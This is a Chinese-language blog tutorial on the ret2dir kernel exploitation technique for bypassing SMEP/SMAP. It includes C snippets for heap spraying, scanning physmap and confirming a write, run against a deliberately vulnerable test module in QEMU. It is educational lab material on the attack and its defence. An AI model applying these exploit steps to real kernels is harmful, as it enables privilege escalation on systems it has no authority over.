【linux内核漏洞利用】ret2dir利用方法

完全参考rtfingc的文章linux kernel pwn 之 ret2dir 学习,附赠文件及源码点这里,原文中给出的kpwn.c文件有错误,现已更正。

目的:利用return-to-direct-mapped memory(ret2dir)攻击技术绕过SMEP,SMAP,PXN,KERNEXEC,UDEREF,KGuard保护。简单来说,通过利用一个核心区域,直接映射系统的一部分或全部物理内存(用户空间内存映射到physmap,内核可直接访问physmap),允许攻击者在内核地址空间内访问用户数据。

防护:排他性页框架所有权机制(exclusive page frame ownership scheme),能以很低的性能损耗缓解ret2dir攻击。

1.Linux x86_64 内存布局

Documentation/x86/x86_64/mm.txt

1-memory_layout.png

可见,physmap区域在0xffff888000000000 - 0xffffc87fffffffff这一段,大小为64TB。物理内存直接映射在该虚拟内存空间某地址处,只要知道该基址,做线性加减就完事了,速度和效率都很高。

2-physmap.png

linux内核的伙伴系统+slub分配器可参考这篇文章,内存分配主要有kmalloc和vmalloc两种方式。

  • vmalloc 请求 页的倍数大小的内存,要保证虚拟地址连续,物理地址不需要连续

  • kmalloc 内存在字节级做分配,要保证 虚拟地址和物理地址都是连续的

kmalloc是slub分配器使用的方式,kmalloc可在physmap上做内存分配操作。例如分配0x200,则对应kmalloc-512,该内存在physmap里面。

2.利用方式

从以上可知,1.physmap和RAM是直接的映射关系;2.可通过kmalloc分配的内存地址找到physmap的基址。

SMAP/SMEP主要是使内核不能直接执行用户态的代码。但用户态分配的内存,会停留在RAM中,这块内存在physmap中也能看到。可通过mmap分配大量的内存,这样找到的概率就会比较大。

早期的physmap可执行,只需在用户态写好shellcode,然后劫持内核后跳到physmap对应位置即可,不用管SMAP/SMEP。后期加上保护策略,physmap不可执行(W^X),但可通过ROP方式进行利用。

利用过程如下:

  1. mmap大量内存(喷射rop chain等,这样用户数据会映射到内核physmap),提高命中概率。
  2. 泄露slab地址,根据内核中的slab地址计算physmap基地址,根据physmap基址搜索映射到内核physmap的用户数据。
  3. 劫持内核执行流到physmap。

3.测试

内核版本:linux-5.0

gcc版本:8.3.0

ubuntu版本:19.04

内核模块见kpwn.c。

功能:

  • add_any:kmalloc任意size,返回地址
  • del_any:传入addr,kfree释放该地址
  • read_any:传入addr,任意地址读
  • write_any:传入addr,任意地址写

利用步骤:

  1. mmap喷射大量内存(这样用户数据会映射到内核physmap)
  2. physmap中找出用户态mmap的内存的地址A
  3. 尝试改写physmap中地址A的内容,在用户态查看是否有变化

(1)mmap内存

qemu给了128M的内存,mmap出64M的内存,以增大命中率(在用户层喷射数据,这样会映射到内核physmap,这样根据physmap基址搜索的时候才更有可能搜到用户数据)。mmap内存都初始化为字符"K"。

// 64M
#define spray_times 32*32
#define mp_size 1024*64  // 64k
void *spray[spray_times];
void heap_srapy(){
    void *mp;
    for(int i=0;i<spray_times;i++){
        if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
            logs("error","heap spray");
            exit(0);
        }
        memset(mp,'K',mp_size);
        spray[i]=mp;
    }
}

(2)找physmap对应地址

add_any(fd,0x200,buf);找出slab的地址,然后在上面做爆破,一个页一个页读取,直到找出KKKKKKKKKKKKKKKK这个子串的内存。

char *target = "KKKKKKKKKKKKKKKK";
 ...
    u64 addr = slab_addr;
    u64 pos=0;

    u64 addr_to_change=0;
    for(;addr < 0xffffc80000000000;addr+=0x1000){
        memset(buf,0,0x1000);
        read_any(fd,addr,buf,0x1000);
        pos = (u64) memmem(buf,0x1000,target,0x10);
        if(pos){
....
        }
    }

(3)改写尝试

找到可能的physmap地址后,调用write_any写这个地址,看看用户态对应的内存有没有被改变,如果随之改变,则说明两者已经对应上了。

        if(pos){
            addr_to_change = addr + pos - (u64)buf;
            loglx("physmap hit addr",addr);
            loglx("addr to change",addr_to_change);
            write_any(fd,addr_to_change,dirty,0x100);
            u64 *p = check();
            if(p!=NULL){
                logs("userspace","already change");
                break;
            }
        }

4.结果

可以看出,内核首次分配的slab地址是ffff888007b5d800,计算出physmap起始地址是0xffff888007000000,顺着physmap搜到用户喷射的"K"首次出现在0xffff888007030000,把该内核地址处的值改成"A",找到用户空间出现改变的地址是0x7f7535b8f000,打印出来如下图所示。

3-output.png

内核physmap大部分空间都喷射的是"K"。

4-debug.png

参考:

ret2dir: Rethinking Kernel Isolation

ret2dir:Rethinking Kernel Isolation(翻译)

linux 内核 内存管理 slub算法 (一) 原理

linux kernel pwn 之 ret2dir 学习

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,367评论 6 512
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,959评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,750评论 0 357
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,226评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,252评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,975评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,592评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,497评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,027评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,147评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,274评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,953评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,623评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,143评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,260评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,607评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,271评论 2 358

推荐阅读更多精彩内容

  • 简介 malloc对于大家来说应该都不陌生了,这是系统库给我们提供了申请指定大小内存的函数,之前介绍的伙伴系统,只...
    淡泊宁静_3652阅读 2,534评论 0 4
  • 进程 创建 创建进程用fork()函数。fork()为子进程创建新的地址空间并且拷贝页表。子进程的虚拟地址空间...
    梅花怒阅读 1,911评论 0 7
  • linux 内存是所有从事相关技术人员,需要深入了解的计算机资源管理方法论,合理的使用内存,有助于提升机器的性能和...
    Leon_Geo阅读 1,258评论 0 22
  • 1. 硬链接和软连接区别 硬连接-------指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区...
    杰伦哎呦哎呦阅读 2,262评论 0 2
  • 这两天的作业完成情况很不理想 加好友容易 现今互联网时代,信息传播迅速。但人与人之间的信任建立不是一朝一夕的事情!...
    张义妹阅读 21评论 0 0